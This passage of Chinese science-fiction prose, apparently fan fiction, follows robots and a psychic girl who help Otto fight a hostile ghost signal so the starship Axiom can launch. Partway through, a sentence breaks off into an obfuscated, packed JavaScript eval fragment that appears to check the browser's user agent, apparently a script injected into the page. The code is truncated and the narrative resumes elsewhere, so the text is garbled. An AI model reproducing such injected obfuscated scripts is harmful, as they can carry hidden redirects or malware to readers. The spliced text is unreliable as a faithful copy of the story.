沉浸在与强硬的外来信号对抗的技术舰员无暇顾及外面的阵势变化,当前的情况使他们不止是一头雾水,而且无比绝望。现在他们做的事情就好像在山火即将燃到的悬崖上反复移动,无论前进或后退都是死亡——他们甚至断开公理号的信号中继都无法阻止这个外来侵入者在系统中的搅动,但是再继续断开舰内通信,舰内的一切行动都将陷入混乱。它根本没有在系统中的脚本,侵入途径捉摸不透,唯一验证有效的方法就是给起飞程序编写厚厚的防火墙,直接阻止幽灵信号的侵入。然而防火墙数据和运行本身就是在给飞船电脑造成极大的存储与运算负荷,起飞进程随时都会被臃肿的保护程序卡死,保护程序反倒成了起飞的危险。 另一种拖慢的办法是在线路中介入同样水平的追踪程序,只要幽灵信号一出现便进行立即对抗与程序修复。技术机器人就担任了这样的追踪任务。但是幽灵信号下手深浅不定,敌意显著,只是防火墙,它甚至还不愿去对抗,也不彻底破坏电脑程序。但只要技术机器人一连上,它的攻击性也会立刻被调动起来,对机器人立刻下死手,刚开始这些机器人一接入,立刻被它抓住,强大的电流马上将这些赛博骑兵的芯片烧毁。迅速之程度足够让它早在之前彻底烧毁公理号电脑了。甚至有常量号人自告奋勇作为追踪者,贴颅信号仪的内机也没逃过烧毁的命运,虽然没有死亡,骤然电流变化导致的癫痫和剧烈头痛也宣告了追踪方案的失败。他们不得不回到建立防火墙上,然而时不时还得派出追踪员来判断幽灵信号到底有无减弱。 眼看前线一个接一个倒下,飞船电脑控制权仍然拿不下,即使大家心知肚明还有大量替补岗,但无尽的消耗黑洞和看不见的未来也将希望蚕食殆尽,舰员们感到自己就像一只只等候屠宰的牲畜,无论如何抵抗都只有死路一条。仰首望向机房顶上坚固而黑暗的钢板,深知祈求神明帮助不切实际,但在太空那么艰难的时日都挺过来,就在地球这个早知不善之地果然接连栽跟头,恐怕气数的确将尽,绝望不由得化为大骂:“操你妈的地球!”然后,继续痛苦地埋头,为完全没有希望的未来挣扎。 接到来自舰桥的命令,机器人们的反应比人类要安静得多,像是一早知道这样的事会发生一样。实际上造成这种结果的原因是机器人之间的信息交流比人类更广泛、迅速甚至隐蔽。舰桥命令以腾出配重“暂离”飞船为理由的机器人将近70%都是公理号原先的舰员,这样的信息很快不止传遍公理号机器舰员,连常量号的机器人都知道了。摆明即使表面上保全人类,以常量号人为首的飞船高层仍然展示出排外的本质。 公理号机器人之间早交流过所有出舰的工类和编号。即使同为机械,短短两三个月和常量号机器舰员之间的合作仍然无法彻底弥合两个文化之间的差异,尽管协同指令执行良好,但公理号机器舰员仍然能够清晰识别入驻的这些外来者强硬而带有敌意的风格,无任务时他们几乎没有与常量号机器舰员建立新联络。维持他们继续在舰上服役的只有当时奥托留下的最后一道“修好飞船直至顺利起飞”的命令,否则在机器人之间或许也会由于观念不合出现零星的矛盾冲突。现在被常量号人占据的高层下达这样的命令,实在不出意外。但这回面对点出来的名单,公理号机器人决定不彻底执行。 他们当然不会直接抗命。机器舰员是飞船不可或缺的一部分,尤其是公理号机器人对这艘飞船更熟悉,常量号人适应再快,飞船上的某些可能很重要的细节也必定无法获知,常量号高层也不会忽视这点。确认出舰的工类分配不是常量号高层为了单纯排外而无理取闹,公理号机器舰员们悄悄进行了内部调配,将一些编号替换成另一些个体。作为劳动层,他们甚至可能比位于最高层的科林都清楚,这样做本质上不会对处理飞船事务造成任何影响,而且终于找到机会解答一直存在他们之中的一些疑惑。 奥托说是让点到编号的机器人进入折跃井,实际上,他从来没点过任何机器舰员。只有来自人类的一些流言断续讲述他的状态,简直和以前大相径庭。现在折跃井的不明幽灵又在母舰中捣乱,他们必须去确认奥托的真实情况,或许前指挥官孤身一人在折跃井中与幽灵对抗,根本发不出求救的信号呢?他们并不奢望过去能帮什么忙,但就像奥托曾经交代过他们的,死磕当前是个死局,任何有机会改变的方式都得尝试。 或许公理号机器舰员现在比地球镇人还弱势,直属上级已经全部缺失,但是恰恰是这150年让他们获得了缺失上级也能形成组织性的能力,此时这项能力彻底发挥出来,甚至少数耳闻此事的常量号机器人也感到震撼。直到这些机器人浩浩荡荡地出舰,高层才发现其中有不少并不是原先指定的个体,但是苦于事务繁忙与情况变化之迅速,终于无暇阻止他们出舰以及重新调配。 常量号上层下达的命令是让这些机器人暂时离舰,让他们在地球上寻找残留的小型飞行器或者靠本身的飞行能力逃逸到大气层外,等待公理号起飞后归舰。这种信息或许能哄一下人类,对于已经有太空服役数百年经历的机器人而言,这样浅显易见的物理问题略微计算一下就知道等同于将他们放弃。既然下船不可避免,也不用花过多心思在质疑或者反抗这项决定上了,在人类群体很可能出现的扯皮情节直接被他们略过,而是直线到达“下船后该怎么办”上。在ACNS甚至局域连接隐秘而迅速的交流后,一部分决定直奔从上船的O区科研人员那里获知的O区小楼折跃井,一部分前往海岛折跃井,剩下的,则决定在地球镇上搜寻生还者。既然他们的位置已经被腾出来,无论现在的常量号人高层怎么考虑的,就必须让这些腾出来的位置物尽其用。 然而前往折跃井的那些机器人无论如何都想不到,他们根本没能如愿帮上前指挥官的忙。而奥托也想不到,这些机器人之中有他万万意料不到的个体。 47. 三十五(3) 地球镇持续一周的战争在超空间基地里倒是没有激起很大波澜,前期的骤然停摆和后面人员大量变动使得超空间基地忙于重整秩序,为新进入的人员安排岗位,欧罗拉无需他们命令,自动塑造出可供立即连接的“神经龛”。第一次与欧罗拉相连的人无法马上进入工作状态,全部都得神游个一两天,尤其是后来在大量地球镇民和研究人员的样本上完善的转接系统不再像初始版本那样容易造就头痛与杂音,神游的时间得以延续得更长。他们半是恐惧半是无奈地发现西本对于欧罗拉“摄人心魄的缪斯”的描述竟然完全贴切。在那浩瀚的时空之海里,无人能拒绝自人类这个种族诞生以来便被造物主彻底夺走的飞翔。更何况这种飞翔是现实与虚拟的交织,过去与未来的流汇,还有人类感官万不能及的尺度与质量的辨掂,比任何一场梦都要疯狂。 尽管连锁已经强烈加速了他们的专注力和思考,将欧罗拉一次性探明白是不可能的,或者在他们可供支配的时间或者身体承受程度是完全不可能的。在超空间基地的最先一批研究员也为后来者设定了最多72小时的首次连锁时间,以防止耽误工作或是出现不可挽回的生命凋零。但实际上没有人触发这个时间点,这些研究员在恣意驰骋后总归会有隐约的担忧涌上心头,逐渐超过了继续驰骋的渴望,然后主动终止了连锁。尽管他们不知道自己居然已经在其中呆了那么长时间,他们仍然将这长达两天的首次连锁称为对欧罗拉的惊鸿一瞥。 如果说这些科研者出于规定或者自身的担忧而限制了连锁,在超空间基地里则有一个特例。而且这个特例没有人敢去干涉。她被仍然活动的其他研究员安置好了维持生命需求的营养管道,随后便被欧罗拉那半透明的空间之壁包裹、退缩、然后像以前的奥托一样隔离到他们无法干扰的未知之处。作为人类的他们本是觉得同类独自离开是不安全的信号,虽然不太道德,但实在无暇顾及一个与他们血脉无关的孩子,只得抛之脑后忙于其他事务。 阿莱茜丝便这样完全不受任何干扰地、自由地在欧罗拉之中探索。她感到自己像是回到了阔别已久的家。而与其他研究员不同的是,这个本应是超空间基地里自制力最薄弱的人类并没有花时间在赞叹与探索和自己身心完全不相称的欧罗拉系统上,只是稍作适应,像在动辄摇晃动荡的海底学会站稳了脚跟,便仰起头,在她深吸一口气的瞬间,四周的水都仿佛跟着呼吸静止了,无数的水分子和尘埃都停滞在空中,等待她的下一步动作。 【为什么……我】 无数自有记忆起便存在的疑问同时喷涌而出,席卷起一股碎屑的风暴。为什么她会有隐约而准确的预感,为什么她能够捕捉到其他人感受都不到的事物,为什么她的生命与众不同。强烈的疑问带来的是狂野的回应,扭曲的洋流撕扯着她的视野,几乎要将她小小的身躯吹散,但她一点都不害怕,只睁大双眼盯着面前剧烈变幻的洋底飞雪,还有并非来自听觉视觉、几乎像梦一样立即在脑中成形的诠释。她看到跨越时空的感知从液体琴弦般的数学滴落到原子、分子直至蛋白质,又拆散成五彩缤纷的双螺旋;她看到无数包被双螺旋的细胞一个个熄灭,只留下那那唯一一个微弱的亮点,霎时分裂迸射出膨隆的光球,随后衰变成同海波一样不断震荡的光网,震荡的脉搏和广阔的宇宙空间一致;她看见那双螺旋已经不堪重负,光网迅速回缩,包裹它的碎屑尘埃团缺少了双腿。 她猛然一震,原本有秩飘动的海底也仿佛地震。 但她没有止步于此。她在这个世界上的目的尚未知晓。碎屑洪流再度卷起,她看到公理号降落后欧罗拉如何借由折跃井在地面鬼魅般地穿梭;她看到长达百年的等待,等待中的孤独、失败还有小心的注视;代表时间的洋流猛然如同绳索向后一拽,她瞥见那个熟悉的银色身影,还有逐渐出现的更多的她辨不清的雾团,已经触摸到了像竹片卷轴般展开铺天盖地的时空网格,竭尽全力使自己的脉搏与运动着的它们同谐;她看到他们如同盲人艰难地摸索,只有她睁着双眼,清晰明了地看着这一切。 他们在摸索什么?随她所想,阿莱茜丝穿过浓稠的水流来到最熟悉的那个银色身影旁边,一把抓住他的手。她确信这个身影就是奥托,但那张遍布碎屑的脸抬起,她却猛然迟疑,那脸正中什么都没有,没有红色光芒,没有镜头。而对方也迟疑了一瞬,却突然认出她似的要把她推开。【危险,快离开】她捕捉到这再熟悉不过的信号,当然没有松手,而是倔强地更抓紧了对方。当她凑近时,却听到他不断重复的喃喃自语【停下来,停下来,停下来,停……】,周围的那些不认识的身影同样在漫无目的的摸索中同时低语同样的话。【停下来,停下来……】 【停什么?发生了什么?】奥托没有回应她,没有人回应她。但她突然看到漫天的碎屑凝固成地球镇模样,一道巨大的洪柱盘踞在相比地球镇已经是巨城的公理号上,根系深深扎入了公理号的起飞控制系统,却完全是有意识地对那些更加模糊的动点进行反应极快的施压与攻击。她终于看到这些“盲人”究竟在摸索什么。他们在绝望地对洪流大喊,就像以为对山洪唱歌即可阻止冲毁村庄;他们在竭力斩断迅速变幻的根系,就像在用竹片或者纸板徒劳抵挡无处不在的混浊泥汤。 阿莱茜丝猛然意识到一个可怕的事实,在这里只有她不是盲人。她看到的洪流……洪流是什么?那碎屑搭建的洪流又变了颜色,红色的、黄色的和紫色的爆裂的颗粒倾泻在飞船控制系统的各个角落。她伸手触碰洪流,颜色的颗粒霎时化为液体,向上爬进她的身躯,融化成爆裂的语言:【我恨你,我要杀了你们,我要折磨你们,我要——】 【离开!阿莱茜丝!】那个被她死死抓住的个体要将她从那里扯开。但银色盲人根本没有将她扯动半分。 【不行。】 在她脑海里盘旋的红色颗粒停滞了。 不能容忍毁灭生命,不能容忍摧残无辜。她惊异于自己没有被洪流的恐吓吓退,相反,一股奇异的念头被那些憎恨语言激发,她几乎是本能地反击,并不是出于保护自身的需要,更像耐心已经到达极限的暴怒,尖啸着要把这些聒噪而无聊的语言彻底击碎。她周围原先静止的浓稠介质猛然向外冲出一个扭曲的波,等她稍微冷静下来,在她脚下蔓延的赤色洪流已然出现一个缺口,但再也没有微粒向她爬来,仍然运动的微粒绕着缺口继续向远方黑暗硕大的飞船移动。 她感到银色盲人似乎也猛然一顿,停止了摸索。阿莱茜丝突然想起,这并非偶然,在她刚刚进入折跃井的时候也见到了几乎一模一样的事物,当时她就是这样将它们的轨迹打散,但不知道究竟发生了什么,以为只是把那些蜂拥在她身边的吵闹东西驱散了。她突然向前大跨步,那些红色的流动的颗粒即使远观也像红火蚁一样令人不爽。它不可以继续这样流动。她踩进洪流,那些颗粒也散去了,在她周围绕出一个圆形的空斑。越是愤恨地望着它们,空斑像被一阵风吹去一样扩大了一点,但只要她略微心软一点,空斑便无耻地朝她重新围过来,一点不放过入侵的机会。 是……是意志力!阿莱茜丝仰头望向盘踞在巨舰上的洪流,周围那些意识体的行动也慢慢变得清晰,但是他们仅仅是让洪流不要入侵自己而已,全身都浸泡在红色的颗粒里,被洪流冲得勉强站稳,像她那样的空斑都没有。被她紧紧牵着的银色盲人更糟,红色颗粒已经布满浑身每个角落,简直就像故意让洪流冲进自己胃里一样,天知道他怎么撑到现在的。她定神,朝洪流的目的地飞速移动,看到了这些意识体所努力的对象,他们就这么薄弱地在洪流的末端不断垒砌沙包或者木板,然后几乎马上被洪流的末端触手弹走,又进入同样的重复,成效连甚微都不是,就是根本没有。 她尝试按住一片已经被他们用脆弱木板挡住的区域,红色的颗粒终于消失了。她努力让空斑守在原地,又伸手去按另一块沙包,企图扩大版图,但是略一松神,原先的空斑马上又被红色颗粒占领。他们虽然是盲人,但是双方对抗的速度太快了,沙包与沙包之间又隔得那么远,她总是跟不上他们的动作,导致即使有成效,也就仅仅只是保证这一小块区域没被洪流重新冲垮而已。 【等下,你是怎么做到的?】银色盲人不知道用什么办法感知到了没被重新冲垮的那一小块区域,原先一直是排斥的力量现在减小了张力,阿莱茜丝知道他在朝这里空洞地注视。她却敏锐感受到碎屑底下更深的渴望与疑惑。【她是不是看到了什么】【我能看到吗】。同时被深埋在红色颗粒底下终于探出一条浅金色的触须,主动抓住了她。那里面的语言不像红色洪流那样有入侵性,【希望共享视角】。 她当然愿意,她觉得自己给出了同意的信号,站定等待浅金色触须从自己身上获取什么。然而那触须似乎在触碰到她的一瞬间便缩了回去,好像被火焰烫到的蠕虫,她看到已经被红色颗粒入侵的内部开始更剧烈地挣扎起来,她瞪大眼睛发现他根本没有在与红色颗粒对抗,而是反复地在接受与排斥之间转换!原来奥托没有办法区分不同意志的细微差别,也没能生成像人类一样明确而既定的好恶,无论那些好恶是严谨或敷衍,是对或是错。失去了A113指令的强力支配,更是加上后来加剧的根据事实判断行动的权重,现在已经无法有效处理当前的紧急情景,只能通过延时的纯粹计算勉强对抗西本的入侵,完全是治标不治本。 阿莱茜丝放弃了那一片好不容易稳定的守地,将银色盲人拥入怀中,红色颗粒被尽数驱赶,暴露出浅金色核心,仍然在接受与排斥中快速转换,甚至针对的是他自己。他也在竭力稳定状态,让她看清了其中到底在转换什么,原来他已经预测到意志可能在这个过程中所起的作用,的确打算用程序式的逻辑对抗去吞噬对方,但是红色颗粒的压迫力远远大于他能对抗的范围,不得不在被对方反噬的边缘启动自保。 就在两个意识体界面短短的接触瞬间,大量迥异而清晰的信息流进阿莱茜丝的脑海,之前在地球镇里,与奥托接触时模糊的预感全都探出水面。奥托已经在顶着某种阻抗让自己完全接触阿莱茜丝的视角全貌,就在这个过程中她读出了阻抗的内容,那是本能的质疑和抵抗,还有……恐惧。 一直以来他都在对抗,从没有机会与经验去利用意志。 了解到这点,阿莱茜丝不再勉强呈现自己的视角。【奥托,我需要你的计算协助】。她却没有松手。他需要的不是被她说服,而是学习新的范式。她像一个教新学员运球的教练,环抱中,将精妙的力度和角度传递给生疏的新学者。然后他们联手,再度对盘踞在飞船上快速变幻的洪流出击。这次卓有成效,奥托的速度和她的防守压住了洪流的入侵企图,空斑的范围迅速扩展。 他从未经受过这般爆裂的情绪。这就是人类吗?对另一件事的敌意足够盖过一切分析,所有的念头都为一个目的服务,完全不考虑失败的可能,甚至敢于用生命去奉上莽撞的豪赌。但居然奇迹般地起效了,奥托感到阿莱茜丝传递给他的强念使他无暇思考西本的策略,他本以为自己会无所适从,但是现在反而是那曾经极具侵略性的洪流似乎变得黯然失色,似乎突然衰减了力量,在狂怒中他轻而易举地抹去不断攻击巨舰控制系统的洪流触手,像是用火将泥水烧得干净。 就是这样!强大的意志能对抗洪流!阿莱茜丝的声音兴奋而坚定。奥托!西本的毁灭意志才是你们久攻不下的原因!你只有产生比他更强的必胜信念才能击败他! 真的可以吗?他一直以来,最恐惧的莫过于被新生的执念冲毁判断力,也由于此,他一直拒绝接受可能会让他错判,从而走向万劫不复的觉醒。但他已经来不及犹豫了,来自阿莱茜丝的狂怒反而使他更加清醒,计算不再延时,因为他早在红色颗粒入侵之前就洞悉了它们那鬼祟的意图,一掌拍下,颗粒四散成灰。 但很快他们又陷入僵持。西本的意志洪流并非一成不变,它发现了阿莱茜丝和奥托的突破进展,开始加大对他们的注意力度,而且攻击指向直接对准了他们。什么破正义。它轻蔑笑道。我最厌恶你们这些喜好指点的假正经,老腐朽的无能后代都给我闭嘴!漫天的颗粒熔成一条长鞭,自上而下朝他们猛抽而来。剧痛在两人脑中炸开,霎时被洪流冲得相隔甚远。等他们再站定,刚刚好不容易攻下的空斑又被洪流占据。 阿莱茜丝重新找到奥托。在场的其他意识体也目睹了一切,朝他们围来。当阿莱茜丝再次触碰奥托的意识界面时,突然发现触感变了。 他在干什么?奥托没有拒绝阿莱茜丝的介入,她得以“看到”奥托的视角。在她那里能看到有颜色的洪流,地球镇以及飞船都是模糊、无色而静止的。但在奥托这里,她看到几乎与现实一致的地球镇,巨型飞船中舰员的移动,但是被西本意志与远程控制压制得无法工作的飞船控制系统上方却是一片透明,甚至连洪流的力量都没有,只有控制系统完全随机的崩溃;以及——她猛然看到,此前从未出现过的、地球镇远方伫立的、正在不断吐出火舌的黑色石山。 一个无名的亮点自奥托的浅金色意识核心中点燃,她从未见过。但机器人没有理会那个亮点,视线仍然不断地在石山和控制系统中徘徊。连她伸手去触摸亮点都没有阻止。随着她的深入,她虽然跟不上奥托的海量计算通路,却也朦胧感受到他在思考对策。等她探到亮点,她的视线猛然被这个亮点的力量抛到飞船附近。 暗流涌动的焦急。她明白了为什么奥托的视角一直徘徊在那个新生的石山上。她触摸到石山将曾经的地球镇彻底熔化摧毁的未来,如果飞船再无法起飞,石山的火舌就会将这座庞大之城也吞噬,上面苟活的人也会在绝望中死去,然后是忒亚二号的最后一击,彻底了结这一切。他——他们,无论仍在折跃井中或是飞船上的,倾尽全力走到的现在,也将付诸一炬。 起飞。不能再等了。起飞。亮点的语言被阿莱茜丝解读,她瞪大了双眼。这个光点虽然小,但牢固程度远超她在这个大的金球里探得的任何其他结团,像是有序滑动的疏松线团中唯一沉淀且固定在原地的铁球。但它却被另一层牢固的壳限制在原地,不允许轻易移动或者改变体积。阿莱茜丝触碰到那个壳,恍然发现是紧密得如同钢丝的线——无数自光球外观测到的各类运动着的现象就在这里缩小、卷曲、折叠成线,然后紧紧地扯在上面——那是奥托当前的判断与计算,他正等着那些线在自己的回路中自动折叠成合适的形状,但是现在怎么都折不了,所有的结论都走向失败,他不知道如何才能打破西本的僵局。而沉重如铁球的光点随着时间已经越长越大了,紧紧贴着钢丝线表面,又被钢丝线束缚着不让膨胀。 阿莱茜丝蓦然看到白色的紧绷的线壳上有一块薄弱之处,那是刚刚她环抱他所产生的影响,奥托已经将刚刚的经历加入到思考里了。只有它在尝试松解线壳,但力量尚弱,马上被其他钢线覆盖。但这就够了。阿莱茜丝猛然抬手放到那片薄弱区上。 飞船。她看到光点随着她的动作熔化了一层线壳,但只是削薄了一些。游荡在大地上,在石山和飞船之间跳跃的视线突然收缩到飞船之上,再不跳跃。 那些人已经黔驴技穷,看看他们还在无谓地牺牲!失去我们的介入,他们绝无可能获胜!阿莱茜丝的声音在线壳中共振,分不清是她的声音还是光点反射的声音。又熔化一层。 生存只能靠我们了。其他意识体一直在不断朝他们靠近,半是好奇地想获知他们在对话什么,细小的意识触手已经接触到金壳表层,观测到光点熔化的过程。阿莱茜丝同样敏锐地感受到那些意识体中间发生的变化,那些人类意识体发生变化的速度比奥托快得多,很快明白了现状,生成了颜色各异的光点,然后迅速向外膨胀。只是阿莱茜丝知道,那些光点的坚实程度还比不上这一颗正在束缚着的光点。但她没有放弃,而是将那些意识体犹豫的触手坚定接过来,按在线壳的薄弱处上。 啊,熔化线壳的光点并不是将钢线彻底熔化,那一根原先唯一向外突破的线终于得以发挥自己的空间,勤勉地在熔化的光点色球层上将外来折叠的线蚀刻出新的线路来,连按在上面的触手都编了进去。那些人并不在意自己被编入,而是更期待这个亟待破茧的、亮白色的光球终于动起来。 他们不枉期待多久,强烈的蓝白色光束向外穿透稀薄的金色光球大气,阿莱茜丝吃惊但喜悦地看到光束所至之处,洪流被穿了孔。穿孔的洪流使得迸发一再不可收拾,阿莱茜丝紧紧抓着手下这颗冉冉升起的超新星,她预感到剧变马上要发生,同样紧抓着那些已经被强光淹没的意识体,防止剧变发生时他们被骤然吹散。 西本的鞭打没有让他退缩,相反,与阿莱茜丝携手的那片全新的体验和高效进展一直萦绕思维。只是西本的那股能够增强欧罗拉资源调配权重的“未知力量”——即使阿莱茜丝将其定义为意志力——的上限正如这个克隆人本身一样难以捉摸,贸然再上前同样难逃此前任意一次的失败。 但一个隐含的声音一直向他呐喊。放以前,他一定会置之不理或者烦不胜烦之后动用自己的资源镇压它。但现在他只放任呐喊,甚至还倾听它的内容。 你已经知道怎么做了,奥托!只有你坚定必须要让飞船起飞,排除一切不可能的念头,才能抵抗西本! 他分不清这究竟是他自己的念头,还是仍然在身边的阿莱茜丝对他的鼓动。但那都不重要。和以前不同,他开始考虑这项“提议”的可行性。 假设“强念”确实是改变当前困境的关键呢? 他反复思考阿莱茜丝带他实现的突破。他仍然能清晰“听到”飞船上那些人在绝望地前赴后继,通过阿莱茜丝共享的视角也“看到”西本在公理号上阴霾不散地以死人的身份拿活人的生命亵玩…… 如果公理号不能起飞,他这两年的所有付出全将失去意义。在折跃井里同他一起斗争的所有人都将失去意义,那些作为牺牲者的地球镇人也失去意义,同样渴望起飞和生存的在公理号上的所有成员也都会失去意义。 循环评估又久无结论的喧闹计算进程突然停滞、清除,感知重新定位,定在那艘硕大的飞船。所有关乎“正确性”的质疑和杂音全都被唯一的目的立刻打散。 他马上感到这次欧罗拉也有了相应。喧闹噪音立即停歇,所有声音都被驱远,连浓稠的亚空间介质都凝固了,那些犹豫不决或是焦躁的挣扎动静都如同失去动力一样沉降、澄清。他感到西本的注意力也被吸引来,轻蔑而虎视眈眈,不如说是期待他作出什么声势浩大实则无力的抵抗。 起飞,不能再等了。 仿佛裹挟了一大片厚厚的保护层腾跃而起,落到飞船控制系统旁边时稀薄的红褐色颗粒都被掀起,似是落石冲起水花。他狠狠拔起那些扎根的恶意代码,并把它们撕得粉碎。被破坏的洪流怒而掀起新的触手,再次向他抽去,这次他头也不抬,没等触手下抽便一扫将其击散。那里面都是些无意义的讥讽,根本不能动摇他此时的行动半分,自然被抛向远方,被忽视然后消散。所有的精力只用在继续清空外源控制。起飞,公理号必须起飞。西本的洪流意识仍然在不断干扰他刚清空的运行环境,伺机夺回失地,但它的速度在奥托看来变慢了,以折磨他人为乐?多么荒谬的理由!他轻而易举地将其驱逐出去。他的所有目标就是保护这艘飞船的完好性,将其安全护送入太空,反对这个目标的全都必须毁灭。他知道那股狂怒又回来了,已经辨不明属于他或者阿莱茜丝。再不允许任何入侵,再不允许任何辩解,这次任务只准成功不准失败!他登上信息交换的高塔,起飞的整条控制途径都清空,闪红报错的诊断屏迎来久违的蓝绿色。 【系统清空。立即起飞】对于舰上人来说不明来源的信息一直停留在频道。 “快!快!折跃井已经帮我们把故障清空了!马上找最近的起飞安全扣!不知道现状能持续多久!离开地球重力场才是安全的!”公理号上的常量号技术员们不顾自己精疲力竭,朝仍然盯着蓝绿色彩,不相信自己眼睛似的愣神的其他人大喊,拍打着他们的肩膀。这些人如梦初醒地朝外奔去,飞船起飞控制清场的消息海啸般在船舱扩散。 洪流也目睹了一切,它重新凝聚形状,以前所未有的猛烈攻势向下击去,用雨点形容远不足够,烧红的陨石雨或许类似,狠狠地轰击在奥托那亮白色的光雾保护层。起飞?说起飞就起飞?恬不知耻的地面实体人还想包庇逃脱,不,你们只配在地面上被自我造就的罪孽吞噬!之前的缓慢切开享用变成了暴虐撕扯,它盯上保护薄弱的其他飞船电路,以迅雷之势要将其抽得爆开电火花。抽上时它定睛一看,只是抽到了猛然增厚的亮白色光雾。它突然停止动作,好似愣了一下,随后暴虐的烧红铁块随机鞭打在这个飞船的任何角落,每一击都足够在此前没有光雾的任意时刻将飞船击成致命伤,彻底失去起飞能力,但没有一次打在电路上! 任何阻挡飞船起飞的因素都必须排除。亮蓝白色保护光雾只传达简单的一句。它尖啸一声,集中全部力量轰击白色光雾,力量之大几乎将光雾的所有微粒扬去。但即使如此,最后一层依然紧紧地包裹着飞船,如同超空间基地无法穿透的空间之壁,它都能够看到那一层多么薄,多么透明,底下的每一个电子都清晰可见,和冰壳一样不堪一击,但无论它用力多猛,这层薄薄的保护层就是无法摧毁。 奥托早知西本的暴虐在外面剧烈扰动,不断撕扯着他的控制力,撞击、松动、钉挖,像个绞尽脑汁撬开蚌壳的猿猴。但他死死守着飞船不动,设计了实时对抗的保护代码,不需要借助公理号电脑运行的保护层也上了一层又一层。他看到公理号内部那些人响应了起飞指示,由于恶劣的大气环境铺设的附加发动机冷却管网也已经就绪,仍在外面活动的机器人一个个进入船舱,只剩必须留在外面搬运负质量发生器的寥寥几个。他看到舰桥那个同曾经的他一样的银色个体在久未使用的控制台上输入强制起飞指令,瘦高的异舰人按下全舰起飞广播。撕扯更加剧烈而致命,即使在欧罗拉的看似虚拟的环境里,他也知道伤害和疼痛感是能够被转化的,同一环境里所有个体的时间流速也是一致的。因此哪怕斯芬克斯介绍被打散后个体的规律还在,还能被重塑,但他输不起时间。他决不能被打散,决不能恐惧,决不能有任何怀疑。他拥紧了飞船,确保这艘飞船的一切必须安全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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只保护飞船是吗?西本笑了。是的,我和你们都只能在微观上下手,但是宏观的事件一旦发生,你我都改变不了。你以为我必输无疑,那只不过是我让你看到了什么而已。可怜的你们只将目光,也只够将注意力放在飞船上,对于全局就是一无所知。他当然没有把这样的想法透露给奥托,而是佯装暴怒而无效地胡乱敲打飞船,仿佛在泄愤,事实上他也必须这样做来维持那些可怜的实体人的高度专注力。然后将手摸向早就注意到的那个负质量发生器,早早地盘踞在那里。 近一点,再近一点。距离越近,破坏力就越大。他本打算让负质量发生器进入飞船后再启动,但现在看来不能让它进入到奥托的关注范围内。他也不能让奥托或者其他人主动注意到这个负质量发生器。即使如此,这个发生器启动的范围也足够给飞船造成破坏。于是他悄悄接上了发生器的电路,给它控制系统提供一点电势能并非难事。只要开启制造,物质转化就会进行,物质浓度不适配又如何,反正它的最终命运都是一样。 他成功设下了倒计时。蹲踞在原地,等候这枚定时炸弹到达起爆点。这些机器人步入了光雾,不过没关系,那一点点光雾不足以阻止他。但突然他看到这些机器人都好像被什么东西激惹了,迅速卸货四散逃离,纷纷冲向飞船,留负质量发生器停在原地。 【起飞即刻执行,任务暂停立刻归舰!】这是公理号发给这些机器人的信息,来源不明,优先级高于一切任务。这些机器人只能马上抛弃当前任务涌向正在关闭舱门的飞船。虽然折跃井的恶意攻击停止了,但全舰仍然没有完全恢复正常,时常有超出指令以外的行为发生。外壁的舱室门一个个关闭,封闭厚厚的舱壁,即使舰员们没有给出关门的指令;发动机冷却网毫无预兆开启,吓得其他人马上撤离引擎区;起飞尚未执行,电脑都在拒绝起飞之下,应急绿灯点亮,舰桥常亮光也变暗。 你们有那么大本事倒是直接执行起飞啊!卡尔上尉一面呼叫汉·肯特,让少年直接到舰桥,一面心里直犯嘀咕。这时他瞥到了外面接近的负质量发生器,心中的某种不安颤动了一瞬,他连忙叫大佬直接联系外面机器人立刻归舰,但他话音未落,那些机器人都跑了,仿佛预知了他的命令。 汉出现在电梯口,奔跑使他气喘吁吁。卡尔上尉立刻将他引导在生物识别器前,少年伸出手塞进凹槽。刺痛自手上传来。他猛然缩手,没等少年反应,远方传来沉闷的轰鸣。 “强制起飞执行。” 汉呆望着悬吊在半空中的、正中发着红光的那个熟悉的船舵机器人。地上是仆倒的银色躯体。卡尔上尉立刻把发呆的少年拽到控制室后方,打开力场将他们固定在墙角。就在这时,一种诡异的紫色光芒从舷窗一角缓缓爬进控制室,照亮了黑暗的控制台,朝他们所在处爬来。卡尔上尉顿感寒冰刺入脊梁,这个铁打的男人浑身上下打起寒颤。 “操,操,操!闭上眼睛!科林!他妈的快上升啊!!!” 机器人在眼皮下四散逃离那刻,盘踞其上的洪流掀起狂澜,满布整个地球镇和飞船上方的浓烈赤色竟然掩盖不住这一小片区域的旋涡,它百思不得其解,隐约有些不妙的预感。往常都是它洞悉欧罗拉里的任何一点风吹草动,这些低劣的腐朽后代不可能产生它都忽略的动向,更何况是在这么近如咫尺的距离!但它的确看到薄如蝉翼却坚不可摧的光壳底下,环状的推进系统已经预热,起飞势在必行。可是假设那些实体人已经发觉它此前的动机,为什么当时就不对抗它!它感到深深被愚弄,被夺走公理号这个玩具都不足以惹它爆发出现在这样深切的愤怒。它再也不打算逗弄公理号和这些意识体,杀心暴起,集合所有力量抽在尚未到达起爆点的负质量发生器上,将正蔓延其上的白色光雾抽得粉碎,直达那控制核心的脆弱电路开关。 机器如愿以偿启动,接下来就像推倒多米诺骨牌,再也没有任何力量能干预从量变引发质变的微观到宏观之路了。杀意使得颗粒般流淌的洪水熔结成它所能模拟的最坚实的物质,尽管它无所谓定义或分辨成中子或者更小的强互作用力体,朝飞船正在发光的发动机以光速猛刺而去,比之前甩出一颗颗既定轨道的陨石还要猛烈。愚笨的老腐朽必须灭亡! 连欧罗拉的介质都被如此迅猛的尖刺搅得几近破碎,恍惚刹那它相信尖刺已经深深扎入发动机的电路与核反应堆,但尖刺传来的巨震没有让发动机爆发出摧毁的光芒,它讶异,即将抽回时发现坚不可摧的尖刺居然化为了流体,紧紧粘贴在薄弱的光壳上。不,光壳现在并不薄弱了。西本的意识想要继续抽回,却首次感到自己被攫住。发动机的启动光芒爆发出来。 它恼而重新凝聚力量,惊异发现凝聚的速度都减缓,洪流开始稀薄,使它进入恶性循环,越是讶异越是难以重新凝聚。增厚的明亮的光壳沿着它的尖刺蔓延,巨舰喷发出浓厚的烟尘。它心一横沿着被攫住的那根尖刺爬上去,打算贴近公理号外壳,蓝巨星般的灼热使它不由得退远,但光壳紧紧攫住它,它听清了那箴言般的隆隆声响。 